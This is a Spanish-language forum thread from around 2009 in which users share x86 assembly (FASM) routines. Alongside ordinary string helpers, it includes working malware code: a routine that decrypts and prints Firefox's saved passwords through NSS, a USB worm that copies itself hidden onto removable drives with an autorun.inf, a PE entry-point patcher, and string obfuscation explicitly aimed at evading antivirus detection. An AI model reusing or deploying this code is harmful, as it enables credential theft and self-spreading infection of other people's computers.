invoke CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
mov [hFile], eax
invoke GetFileSize, eax, 0
mov [tamAr], eax
invoke GlobalAlloc, GPTR, eax
mov [IB], eax
invoke ReadFile, [hFile], [IB], [tamAr], bUsados, 0
invoke SHGetSpecialFolderLocation,0,1ah,ebx
invoke SHGetPathFromIDList,dword[ebx],sRet2
invoke lstrcat,sRet2 ,"\Mozilla\Firefox\"
invoke lstrcat,sRet2 ,sRet
;lKeySlot
invoke GetProcAddress,[lvLibs7], "NSS_Init"
stdcall eax,sRet2
.if eax = 0
invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
stdcall eax
mov [lKeySlot],eax
.if eax <> 0
invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
stdcall eax,[lKeySlot],TRUE,0
.if eax = 0
xor edi,edi
mov ebx,[IB]
invoke printf,Espacio
invoke printf,Espacio
.bucle:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],"."
jne .bucle
cmp byte[ebx+1],13
jne .bucle
cmp byte[ebx+2],10
jne .bucle
add ebx,3
.if byte[ebx] <> 0
mov [URL],ebx
.bucle2:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle2
cmp byte[ebx+1],10
jne .bucle2
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,Espacio
invoke printf,Espacio
invoke printf,"WEB: %s",[URL]
invoke printf,Espacio
.campo:
add ebx,2
mov [Campo],ebx
.bucle3:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle3
cmp byte[ebx+1],10
jne .bucle3
mov byte[ebx],0
mov byte[ebx+1],0
invoke printf,"Campo: %s",[Campo]
invoke printf,Espacio
add ebx,2
mov [valor],ebx
.bucle4:
inc edi
cmp edi, [tamAr]
je salir
inc ebx
cmp byte[ebx],13
jne .bucle4
cmp byte[ebx+1],10
jne .bucle4
mov byte[ebx],0
mov byte[ebx+1],0
invoke lstrlen,[valor]
mov [Campo],eax
invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
stdcall eax,0, tsec, [valor], [Campo]
invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
stdcall eax, tsec,tSecDec, 0
invoke printf,"Datos: %s",[tSecDec.SECItemData]
invoke printf,Espacio
add ebx,2
.if dword[ebx] = "http"
sub ebx,2
jmp .bucle
.else
sub ebx,2
jmp .campo
.endif
.endif
.endif
.endif
.endif
.endif
salir:
invoke ExitProcess,0
proc Cargar, sPathL, libreria
invoke LocalAlloc,40h,MAX_PATH+1
mov [P],eax
stdcall Concat,[sPathL],[libreria] ,eax
invoke LoadLibrary,[P]
invoke LocalFree,[P]
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
include 'api/kernel32.inc'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
include 'api/shell32.inc'
section '.reloc' fixups data discardable
Buen trabajo, yo estaba haciendo lo mismo :xD
Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD
PD:El code es un poco mas pesado de lo necesario no?
Cita de: Karcrack en 01 Mayo 2009, 11:13
Buen trabajo, yo estaba haciendo lo mismo :xD
Gracias , podrias hacerlo tu tambien y postearlo.
CitarPorcierto, todo lo que tu haces es Humilde? :xD :xD :xD
Si :xD :xD
CitarPD:El code es un poco mas pesado de lo necesario no?
el codigo lo tengo que optimizar todavia ya que tiene muchas partes inecesarias.
Aparte la sección
section '.reloc' fixups data discardable
ocupa mucho espacio , se la puedes sacar si gustas y el codigo lo termine a las 4:30 AM(hora chilena) osea no estaba en condicion para ponerme a mejorar el source :xD.
Ahora a ver como guarda las claves el IE7 y el IE8
include 'win32ax.inc'
INVALID_FILE_SIZE = 0xffffffff
.code
start:
stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
.if eax = 0
invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
.else
invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
.endif
invoke ExitProcess,0
proc ChangeEntryPoint,Path,NewEP:DWORD
locals
Handle dd ?
Tamaño dd ?
Emezeta dd ?
cantidad dd ?
endl
push ebx
invoke CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ;Abrimos el archivo para lectura
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle],eax ;Guardamos el handle
invoke GetFileSize, eax, 0 ;Vemos el tamaño
cmp eax,INVALID_FILE_SIZE
je .error
mov [Tamaño], eax
invoke GlobalAlloc, GPTR, eax
mov [Emezeta], eax
invoke ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0 ;Leemos el archivo
cmp eax,TRUE
jne .error
invoke CloseHandle,[Handle] ;Cerramos el handle
cmp eax,NULL
je .error
mov ebx,[Emezeta]
cmp word[ebx],"MZ"
jne .error
add ebx,dword[ebx+03ch]
cmp word[ebx],"PE"
jne .error
xor eax,eax
mov eax,[NewEP]
mov dword[ebx+28h],eax ;Cambiamos el EP
invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 ;Creamos el archivo borrando el anterior
cmp eax,INVALID_HANDLE_VALUE
je .error
mov [Handle], eax
;Escibimos el archivo
invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
; "Cerramos" el archivo
invoke CloseHandle,[Handle]
cmp eax,NULL
je .error
mov eax,1
jmp .salir
.error:
xor eax,eax
.salir:
pop ebx
ret
endp
.end start
me pregunto los antivirus detectran que se cambia el entrypoint?
buen trabajo
Si, concretamente avira y bitdefender entre otros lo detectan, yo tuve problemas con eso en mi proyecto y estuve bastante pensando hasta que por fin conseguí saltarmelo ;D. Con ejecutables en VB lo detectan bastante ya que tienen el mismo entry point y con los otros no tanto pero si.
Saludos
Citar
me pregunto los antivirus detectran que se cambia el entrypoint?
Depende el caso , por ejemplo como dice Hacker_zero si se lo cambias a un ejecutable hecho con Viisual basic te lo detectan.
Mapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo". Buen trabajo ;)
CitarMapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo".
Con mapear el archivo te refieres a usar las api's como CreateFileMapping ? . Si es a si si tienes razón disminuyen el trabajo.
CitarBuen trabajo ;)
Gracias :D
Si, a esas mismas, así solo tendrías que mapearlo, cambiar en memoria el DWORD del EP y desmapearlo xD
Hola , para un proyecto que tengo que hacer tube la necesidad de desarrollar algo parecido al split de visual basic , se los dejo espero que les sirva
include 'win32ax.inc'
.data
Separador db "/()·/", 0
Cadena db 'Soy/()·/una/()·/cadena',0
Cantidad dd ?
buffer rb MAX_PATH
.code
start:
stdcall Split,Cadena,Separador,buffer
mov [Cantidad],eax
stdcall Len,Separador
mov ebx,eax
mov ecx,[Cantidad]
inc ecx
mov esi,buffer
.bucle:
push ecx
invoke MessageBox,0,esi,esi,0
stdcall Len,esi
add esi,eax
add esi,ebx
pop ecx
loop .bucle
invoke ExitProcess,0
; cCadena(in) = Cadena a partir
; cSeparador(in) = Separador que se usara para partir la cadena
; cBuffer(out) = A donde se guardara la cadena partida
; Retorna la cantidad de separadores encontrados
proc Split,cCadena,cSeparador,cBuffer
push edi esi ecx ebx
xor ebx,ebx
stdcall copy,[cBuffer],[cCadena]
stdcall Len,[cSeparador]
mov edi,eax
mov esi,[cBuffer]
dec esi
.bucle:
inc esi
cmp byte[esi],0
je .salir
mov cl,byte[esi+edi]
mov byte[esi+edi],0
stdcall comparar,esi,[cSeparador]
mov byte[esi+edi],cl
cmp eax,0
jne .bucle
inc ebx
mov byte[esi],0
add esi,edi
jmp .bucle
.salir:
mov eax,ebx
pop ebx ecx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
proc copy,cDestino,cCadena ;funcion que copia una cadena
push ecx edi esi
stdcall Len,[cCadena]
add eax,2
mov ecx,eax
mov esi,[cCadena]
mov edi,[cDestino]
rep movsb
pop esi edi ecx
ret
endp
.end start
Hola , hice una función de "cifrado" mas que nada para hacer mas fuerte la encriptacion XOR , tambien se puede usar para modificar el nombre de las dll de un archivo , basicamente lo que hace es cambiar las minisculas por mayusculas y viceversa nom modificando ningun simbolo , es muy basica pero como lo dije la use para cifrar cadenas ( primero le paso mi encriptaccion y luego un xor normal ) , funciona para mejorar la cifrado ya que como sabran para nosotros la letra "A" es la misma que "a" pero para los antivirus son diferentes ya que su valor ascii es distinto , bueno se las dejo veran ustedes para que la usan.
include 'win32ax.inc'
.data
xD db '[soy una cadena.]',0
.code
start:
stdcall EncriptacionChangeCase,xD,0
invoke MessageBox,0,xD,0,0
invoke ExitProcess,0
;Función que transforma las miniscula a mayusculas y viceversa
; cCadena = Puntero de cadena a cifrar
; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
; By YST
proc EncriptacionChangeCase,cCadena,cTamaño
push ebx
xor ebx,ebx
cmp [cTamaño],0
je .contar
mov ebx,[cTamaño]
jmp .Start
.contar:
mov ebx,0
mov eax,[cCadena]
.len:
inc ebx
inc eax
cmp byte[eax],0
jne .len
.Start:
mov eax, [cCadena]
dec eax
inc ebx
.bucle:
dec ebx
inc eax
cmp ebx,0
je .salir
cmp byte[eax],'A'
jb .bucle
cmp byte[eax],91
jge .revisar
jmp .seguir
jmp .bucle
.seguir:
cmp byte[eax],"Z"
jbe .Mayuscula
cmp byte[eax],"z"
jbe .Miniscula
jmp .bucle
.salir :
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
pop ebx
ret
.revisar:
cmp byte[eax],96
jg .seguir
jbe .bucle
.Mayuscula: ;Si es Mayuscula la pasamos a miniscula
add byte[eax],0x20
jmp .bucle
.Miniscula: ;Si es miniscula la pasamos a Mayuscula
sub byte[eax],0x20
jmp .bucle
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
endp
.end start
por cierto por si necesitan una función para cifrar con XOR
;Función que cifra con un xor 10 cada byte de una cadena
; cCadena = Puntero de cadena a cifrar
; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
; By YST
proc EncriptacionXOR,cCadena,cTamaño
push ebx
xor ebx,ebx
cmp [cTamaño],0
je .contar
mov ebx,[cTamaño]
jmp .Start
.contar:
mov ebx,0
mov eax,[cCadena]
.len:
inc ebx
inc eax
cmp byte[eax],0
jne .len
.Start:
mov eax,[cCadena]
inc ebx
dec eax
.bucle:
dec ebx
cmp ebx,0
jbe .salir
inc eax
xor byte[eax],10
jmp .bucle
.salir:
pop ebx
ret
endp
Hola,
necesite hacer una pequeña función que pasar a unicode , a alguien mas le puede servir por eso la posteo
proc ASCIITOUNICODE,Cadena,Buffer
push ecx ebx
mov eax,[Cadena]
mov ebx,[Buffer]
dec eax
sub ebx,2
.bucle:
inc eax
cmp byte[eax],0
je .salir
add ebx,2
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp
Funcion que cuenta el largo de una cadena en Unicode:
proc LenUnicode,cCadena
mov ebx,[cCadena]
mov eax,0
.bucle:
inc eax
cmp byte[ebx+eax*2],0
jne .bucle
pop ebx
ret
endp
Funcion para concatenar cadenas en unicode
proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
push esi edi
mov edi,[cBuffer]
mov esi,[cCadena1]
.bucle1:
movsb
cmp word[esi],0
jne .bucle1
inc edi
mov esi,[cCadena2]
.bucle2:
movsb
cmp word[esi],0
jne .bucle2
pop edi esi
ret
endp
Muy buena si señor ;-). Tal vez podrías mejorarla haciendo que lo que decida mayúscula o minúscula sea un algoritmo pseudoaleatorio así el resultado será siempre diferente, yo lo hice en c así (http://foro.elhacker.net/programacion_cc/src_changeimportcase-t255065.0.html).
Saludos ;)
Para el uso que la use necesita ser reversible y de tu manera no lo es , podrias leer mejor el post.
No se si a alguien le sirva pero igual la dejo
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
Hola , hice un pequeño enredo para cifrar ,digo enredo por que de criptografia yo no tengo idea,lo dejo
proc YSTEncript,cCadena,cBuffer,cTamaño
push eax ebx ecx edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
add cl,3
mov byte[ebx],cl
not byte[ebx]
xor byte[ebx],45
mov edx,[cTamaño]
xor byte[ebx],dl
cmp [cTamaño],0
jne .Eb
pop esi edx ecx ebx eax
ret
endp
proc YSTDesencript,cCadena,cBuffer,cTamaño
push eax ebx ecx edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
mov byte[ebx],cl
mov edx,[cTamaño]
xor byte[ebx],dl
not byte[ebx]
xor byte[ebx],45
sub byte[ebx],3
cmp [cTamaño],0
jne .Eb
pop esi edx ecx ebx eax
ret
endp
Muy bueno YST sigue así, luego lo analizaré que tal ;)
include 'win32ax.inc'
.code
start:
stdcall cInstr,"98y4ct2y3Hola83925832c","Hola"
.if eax = FALSE
invoke MessageBox,0,"No esta.",0,0
.else
invoke MessageBox,0,eax,0,0
.endif
invoke ExitProcess,0
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera //
;//c1 = Cadena //
;//c2 = Cadena que se buscara en c1 //
;// Retorna: //
;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
;// apuntandoa la posicion de c1 donde se encontro c2 //
;// by YST //
;////////////////////////////////////////////////////////////////////////////////////////////
proc cInstr,c1,c2
push edi esi ebx ecx edx
stdcall Len,[c2]
mov edi,eax
stdcall Len,[c1]
mov esi,eax
cmp edi,esi
jg .Falso
mov edx,[c1]
mov ebx,[c2]
dec edx
inc esi
.bucle:
dec esi
inc edx
mov cl,byte[edx+edi]
mov byte[edx+edi],0
stdcall comparar,edx,[c2]
mov byte[edx+edi],cl
.if eax = 0
mov eax,edx
jmp .salir
.endif
cmp esi,0
jne .bucle
.Falso:
mov eax,FALSE
.salir:
pop edx ecx ebx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
Buen trabajo ;D!
Esto es lo que hace RtlMoveMemory según Olly... es muy parecido al tuyo ;D
7C912C94 > 56 PUSH ESI
7C912C95 57 PUSH EDI
7C912C96 8B7424 10 MOV ESI,DWORD PTR SS:[ESP+10]
7C912C9A 8B7C24 0C MOV EDI,DWORD PTR SS:[ESP+C]
7C912C9E 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14]
7C912CA2 FC CLD
7C912CA3 3BF7 CMP ESI,EDI
7C912CA5 76 1A JBE SHORT ntdll.7C912CC1
7C912CA7 8BD1 MOV EDX,ECX
7C912CA9 83E2 03 AND EDX,3
7C912CAC C1E9 02 SHR ECX,2
7C912CAF F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
7C912CB1 0BCA OR ECX,EDX
7C912CB3 75 05 JNZ SHORT ntdll.7C912CBA
7C912CB5 5F POP EDI
7C912CB6 5E POP ESI
7C912CB7 C2 0C00 RETN 0C
Aunque no se que es CLD... tendré que investigar...
CitarAunque no se que es CLD... tendré que investigar...
Borra la bandera de direccion si no mal recuerdo.
Esta en fasm para llamarlo se llama con
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0
BufferUnidades rb 31
proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad
invoke GlobalAlloc,GPTR,MAX_PATH
mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
stdcall ConseguirNombre,[Miruta]
mov [Minombre],eax
.infinito:
invoke SleepEx,1000,FALSE
stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
mov ebx,BufferUnidades
.bucleDetectaExtraible:
invoke GetDriveTypeA,ebx
.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
; stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE
invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
;SetFileAttributes
invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiAutorun] ,eax
invoke GlobalAlloc,GPTR,MAX_PATH
mov [RutaAutorun],eax
stdcall Concat,Autorun,[Minombre], [MiAutorun]
stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [handleCreado], eax
invoke lstrlenA,[MiAutorun]
mov [tamaño],eax
invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
invoke CloseHandle, [handleCreado]
invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]
invoke GlobalFree,[RutaAutorun]
.endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif
.if byte[ebx] = 0
invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp .bucleDetectaExtraible
.endif
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
bueno, ya que estamos con alternativas a apis, yo coloco el mio.
StrCmpW: Compara cadenas UNICODE, si son iguales devuelve error_sucess
StrCmpW proc str1,str2
push ebx
push edx
mov ebx,str1
mov edx,str2
comparando:
movzx eax,word ptr[ebx]
cmp ax,word ptr[edx]
jne diferente
add ebx,2
add edx,2
test ax,ax
jz fin
jmp comparando
diferente:
inc eax
fin:
pop edx
pop ebx
ret
StrCmpW endp
cld, movzx, rep movsb, word ptr ? :o tengo mucho que aprender todavia, felicitaciones por los codes, ;-)
excelente yst infeccion usb, ;D yo la habia hecho en C pero asm es otro rollo, nada mas que yo mejore mi nivel en asm empiezo a postear mis codes por aqui ;)
saludos
como dijo jack el destripador, vamos por partes xD
rep repite una operacion hasta que cx o ecx sean 0.
movsb, movsw, movsd. Mueven el contenido de la direccion de memoria contenida en esi, a la direccion de memoria apuntada por edi y los aumentan o disminullen 1,2,4 respectivamente.
cld borra el falg que indica si se resta o aumenta edi y esi con un movsX
STD hace lo contrario de CLD. Si el flag esta en 1, se disminuiran y en cero se incrementaran.
movzx es como un mov, pero sirve para copiar 1,2,4 bytes en un registro de 32bits. Rellenando lo que falte con zeros.
Byte ptr, word ptr, dwrod ptr es la forma que se usa para decirle al Masm la cantidad de bytes que se quiere leer de memoria.
saludos
Citarcomo dijo jack el destripador, vamos por partes xD
XDDDDDDD
ok ya entendi (mas o menos) gracias por la info
P.D eres el arkangel que conozco? ¿gedzac?
Debido a un problema que me surgio necesite hacer una función que obtenga la extension real de un archivo , se las dejo por si le sirve a alguien.
include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
include 'win32ax.inc'
.data
buffer rb 100
.code
start:
stdcall StrReverse,kk,buffer
invoke MessageBox,0,buffer,kk,0
leave
ret
kk: db "Estoy cifrado",0
proc StrReverse,cCadena,cBuffer
push ebx esi edi eax ecx
mov ebx, [cCadena]
mov esi,[cBuffer]
stdcall Len,ebx
mov ecx,eax
mov al,byte[ebx]
dec ecx
mov edi,0
.bucle:
mov ah,byte[ebx+ecx]
mov byte[esi+edi],ah
inc edi
dec ecx
jecxz .salir
jmp .bucle
.salir:
mov byte[esi+edi],al
mov byte[esi+edi+1],0
pop ecx eax edi esi ebx
ret
endp
proc Len , SRC
push ecx edi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
YST: por favor usa este hilo de ahora en adelante.
Gracias.
Cita de: YST en 29 Mayo 2009, 09:22 AM
borrado por que me canse del foro .
que lastima :-\
Anda la osa, sigue con esto xD, tendre que leer cada code con detenimiento porque estan de p**a madre :). Haber si un dia me animo y pongo mis src de java de todo lo que he trabajado :rolleyes:
salu2
Sigue aca (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html).